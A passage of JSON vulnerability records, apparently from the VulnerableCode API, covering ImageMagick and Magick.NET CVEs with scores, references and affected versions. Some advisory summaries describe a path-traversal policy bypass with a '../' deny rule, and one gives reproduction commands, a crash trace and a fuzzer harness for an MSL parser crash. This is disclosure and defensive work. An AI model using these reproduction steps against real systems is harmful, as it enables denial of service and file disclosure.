4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-30936","GHSA-5ggv-92r5-cp4p"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-g41y-dv8u-3yf1"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21044?format=json","vulnerability_id":"VCID-gdg8-aejn-83c4","summary":"ImageMagick: Policy bypass through path traversal allows reading restricted content despite secured policy\nImageMagick’s path security policy is enforced on the raw filename string before the filesystem resolves it. As a result, a policy rule such as /etc/* can be bypassed by a path traversal. The OS resolves the traversal and opens the sensitive file, but the policy matcher only sees the unnormalized path and therefore allows the read. This enables local file disclosure (LFI) even when policy-secure.xml is applied.\n\nActions to prevent reading from files have been taken. But it make sure writing is also not possible the following should be added to your policy:\n\n```\n<policy domain=\"path\" rights=\"none\" pattern=\"*../*\"/>\n```\n\nAnd this will also be included in the project's more secure policies by default.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25965.json","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25965.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25965","reference_id":"","reference_type":"","scores":[{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04578","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04535","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04515","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04488","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04357","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04348","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04382","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04398","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04413","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04419","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04402","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04359","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04369","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.14614","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25965"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25965","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25965"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8jvj-p28h-9gm7","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:28:41Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8jvj-p28h-9gm7"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25965","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25965"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442118","reference_id":"2442118","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442118"},{"reference_url":"https://github.com/advisories/GHSA-8jvj-p28h-9gm7","reference_id":"GHSA-8jvj-p28h-9gm7","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-8jvj-p28h-9gm7"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:5573","reference_id":"RHSA-2026:5573","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:5573"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25965","GHSA-8jvj-p28h-9gm7"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-gdg8-aejn-83c4"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/20601?format=json","vulnerability_id":"VCID-h221-qd8d-tqa5","summary":"ImageMagick has a NULL pointer dereference in MSL parser via <comment> tag before image load\n## Summary\n\nNULL pointer dereference in MSL (Magick Scripting Language) parser when processing `<comment>` tag before any image is loaded.\n\n## Version\n\n- ImageMagick 7.x (tested on current main branch)\n- Commit: HEAD\n\n## Steps to Reproduce\n\n### Method 1: Using ImageMagick directly\n\n```bash\nmagick MSL:poc.msl out.png\n```\n\n### Method 2: Using OSS-Fuzz reproduce\n\n```bash\npython3 infra/helper.py build_fuzzers imagemagick\npython3 infra/helper.py reproduce imagemagick msl_fuzzer poc.msl\n```\n\nOr run the fuzzer directly:\n```bash\n./msl_fuzzer poc.msl\n```\n\n## Expected Behavior\n\nImageMagick should handle the malformed MSL gracefully and return an error message.\n\n## Actual Behavior\n\n```\nconvert: MagickCore/property.c:297: MagickBooleanType DeleteImageProperty(Image *, const char *): Assertion `image != (Image *) NULL' failed.\nAborted\n```\n\n## Root Cause Analysis\n\nIn `coders/msl.c:7091`, `MSLEndElement()` calls `DeleteImageProperty()` on `msl_info->image[n]` when handling the `</comment>` end tag without checking if the image is NULL:\n\n```c\nif (LocaleCompare((const char *) tag,\"comment\") == 0 )\n  {\n    (void) DeleteImageProperty(msl_info->image[n],\"comment\");  // No NULL check\n    ...\n  }\n```\n\nWhen `<comment>` appears before any `<read>` operation, `msl_info->image[n]` is NULL, causing the assertion failure in `DeleteImageProperty()` at `property.c:297`.\n\n## Impact\n\n- **DoS**: Crash via assertion failure (debug builds) or NULL pointer dereference (release builds)\n- **Affected**: Any application using ImageMagick to process user-supplied MSL files\n\n## Fuzzer\n\nThis issue was discovered using a custom MSL fuzzer:\n\n```cpp\n#include <cstdint>\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n#include \"utils.cc\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size)\n{\n  if (IsInvalidSize(Size))\n    return(0);\n  try\n  {\n    const Magick::Blob blob(Data, Size);\n    Magick::Image image;\n    image.magick(\"MSL\");\n    image.fileName(\"MSL:\");\n    image.read(blob);\n  }\n  catch (Magick::Exception)\n  {\n  }\n  return(0);\n}\n```\n\nThis issue was found by Team FuzzingBrain @ Texas A&M University","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23952.json","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23952.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-23952","reference_id":"","reference_type":"","scores":[{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05768","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05762","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05726","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05576","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05553","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.0559","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05615","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05586","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.0569","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05517","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05525","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05569","published_at":"2026-04-13T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-23952"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23952","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23952"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-22T21:43:24Z/"}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5vx3-wx4q-6cj8","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-22T21:43:24Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5vx3-wx4q-6cj8"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126077","reference_id":"1126077","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126077"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2431905","reference_id":"2431905","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2431905"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23952","reference_id":"CVE-2026-23952","reference_type":"","scores":[],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23952"},{"reference_url":"https://github.com/advisories/GHSA-5vx3-wx4q-6cj8","reference_id":"GHSA-5vx3-wx4q-6cj8","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-5vx3-wx4q-6cj8"},{"reference_url":"https://usn.ubuntu.com/8127-1/","reference_id":"USN-8127-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8127-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67434?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.2"}],"aliases":["CVE-2026-23952","GHSA-5vx3-wx4q-6cj8"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-h221-qd8d-tqa5"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24565?format=json","vulnerability_id":"VCID-jc5m-7rvc-2qg6","summary":"ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash\nThe NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-32636.json","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-32636.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-32636","reference_id":"","reference_type":"","scores":[{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04324","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04277","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04268","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04297","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.0426","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04318","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04332","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04281","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04293","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.0434","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05174","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.0517","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05128","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05103","published_at":"2026-04-21T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-32636"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32636","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32636"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.11.0","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-19T14:54:31Z/"}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.11.0"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-17","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-19T14:54:31Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-17"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gc62-2v5p-qpmp","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-19T14:54:31Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gc62-2v5p-qpmp"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32636","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32636"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448862","reference_id":"2448862","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448862"},{"reference_url":"https://github.com/advisories/GHSA-gc62-2v5p-qpmp","reference_id":"GHSA-gc62-2v5p-qpmp","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-gc62-2v5p-qpmp"},{"reference_url":"https://usn.ubuntu.com/8127-1/","reference_id":"USN-8127-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8127-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1067847?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.11.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.11.0"}],"aliases":["CVE-2026-32636","GHSA-gc62-2v5p-qpmp"],"risk_score":3.4,"exploitability":"0.5","weighted_severity":"6.8","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-jc5m-7rvc-2qg6"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21320?format=json","vulnerability_id":"VCID-jcjk-s89c-mbbm","summary":"ImageMagick: Invalid MSL <map> can result in a use after free\nThe MSL interpreter crashes when processing a invalid `<map>` element that causes it to use an image after it has been freed.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26983.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26983.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26983","reference_id":"","reference_type":"","scores":[{"value":"0.00016","scoring_system":"epss","scoring_elements":"0.03824","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00016","scoring_system":"epss","scoring_elements":"0.03701","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00016","scoring_system":"epss","scoring_elements":"0.03712","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00016","scoring_system":"epss","scoring_elements":"0.03726","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00016","scoring_system":"epss","scoring_elements":"0.03729","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00016","scoring_system":"epss","scoring_elements":"0.03752","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00016","scoring_system":"epss","scoring_elements":"0.0371","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00016","scoring_system":"epss","scoring_elements":"0.03687","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00016","scoring_system":"epss","scoring_elements":"0.03661","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00016","scoring_system":"epss","scoring_elements":"0.03638","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00016","scoring_system":"epss","scoring_elements":"0.03649","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00016","scoring_system":"epss","scoring_elements":"0.03771","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00016","scoring_system":"epss","scoring_elements":"0.03774","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00016","scoring_system":"epss","scoring_elements":"0.03777","published_at":"2026-04-26T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26983"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26983","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26983"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagic